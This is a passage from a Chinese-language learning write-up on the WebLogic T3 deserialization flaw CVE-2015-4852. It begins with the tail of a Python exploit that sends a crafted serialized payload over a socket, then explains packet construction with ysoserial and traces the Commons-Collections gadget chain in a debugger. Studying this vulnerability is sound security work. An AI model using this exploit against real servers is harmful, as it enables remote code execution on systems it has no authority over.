2\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78'
print 'sending payload...'
payload = "{0}{1}".format(struct.pack('!i', len(payload)), payload[4:])
#print len(payload)
outf = open('pay.tmp','w')
outf.write(payload)
outf.close()
sock.send(payload)
解释一下思路,我们直接将序列化好的字节流发过去,服务器是不会响应的,必须先发t3协议的报头,得到服务端回应后再发送构造的字节流,就像这样,
T3协议本来就可以正常接收序列化的字节流,而且带有明显的标识,我们拿到正常的客户端发送的T3协议数据包,将第一组序列化数据替换为我们构造好的字节流,即可实现RCE。
下面为Hex转储后的数据包,几个关键的标识已标出,
由此观之,exp中就是将ac ed 00 05到下一个 fe 01 00 00之间的部分替换为我们自己构造的反序列化字节流,并修改数据包头部的报文长度,封装好之后,即可发包。
生成字节流可以使用ysoserial工具,一般是在JDK7下运行,否则可能会报错,
若遇到这样的问题,可在配置好环境变量的基础上,在注册表中将下面两个配置修改即可,
生成文件,
用payload打一下,
查看目录,
成功。
这里验证的方法当然不唯一,学长的wget加nc的方法就记在心里。
4.调试
开启docker与调试环境,
用ysoserial生成的payload打过去,
如果出现这样的问题,
点击File,点击Invalidate Caches/ Restart,
网传也许可以解决问题,没有解决我的问题,所以调试演示的效果并不是很好。
回到调试过程,断下,部分调用栈如下,
这个调用栈和我们的设计是相符的,先是进入AnnotationInvocationHandler的readObject函数,调用memerValues.entrySet,此时调用proxy代理的entrySet,其实会去调用被代理的lazymap类的entrySet,那么此时将触发代理类的invoke函数
继续走,
var4的值为”entrySet”,显然会比较顺利的触发this.memberValues.get()函数,而memberValue已经被我们控制为LazyMap。这里不知什么原因断点断不下来,但接下来的运行过程证明一定会走get()而触发利用链。
F9到下一个断点,
可以看到,进入了get函数,且key为”entrySet”,接下来我们要的只是这一步factory.transform。
接下来直接跟到ChainedTransformer的transform里,
这个参数object是个虚假的参数,我们的第一个Transformer是ConstantTransformer,所以无论参数是什么,都会返回Runtime。
步入,
继续,此时的object已经变成了java.lang.Runtime,
步入,
将返回Runtime的getRuntime函数对象,
继续,此时object已经变成了getRuntime函数对象,
下面的过程其实都差不多,
开启了sub process,
接下来就会从AnnotationInvocationHandler的invoke不断退出。
总的过程大概如下,
四、感想与收获
一开始做的时候还是有些担心的,之前接触Java的题目都是些基本的、与Java服务器常见配置相关的,这次要深入Java的库中去分析漏洞,确实是有些难度。搭建环境的过程其实还是花费了一些功夫的,虽然最终选择了docker搭建,但在搭建的过程中还是有一些体会的(如Java的跨平台性)。
对漏洞的学习过程交织着对原理的理解和对Java基础知识的学习。在学习的过程中,我意识到这个链着实复杂,于是将整个链按照每一段的功能和触发点分成了三段,一次只重点学习一段,直到自认为当时已经理解了这一段,再去学习下一段。除此以外还要结合着动态调试加深自己对链的理解。
自我感觉现在的理解力与动手能力比之前有了一定提升,思路也得到了一定的开拓,但思维的高度还差的很远。在对CVE-2015-4852学习的过程中,我最开始的思路是先复现,复现成功之后才有调试一说,但两三天过去复现没能成功,就以为调试也只能在比较浅的层面进行,后来经高人指点,我意识到应通过查看日志、分析调用栈等方式分析为什么复现没有成功,才将整体的思路转变过来,得以将进度提快,比较顺利的完成学习。同时,我也意识到,理解是一个螺旋上升的过程,自己对Java反序列化漏洞的理解只是肤浅的和暂时的,日后有机会还要通过不断的学习和求教打破现有的认知,将其提升到新的高度。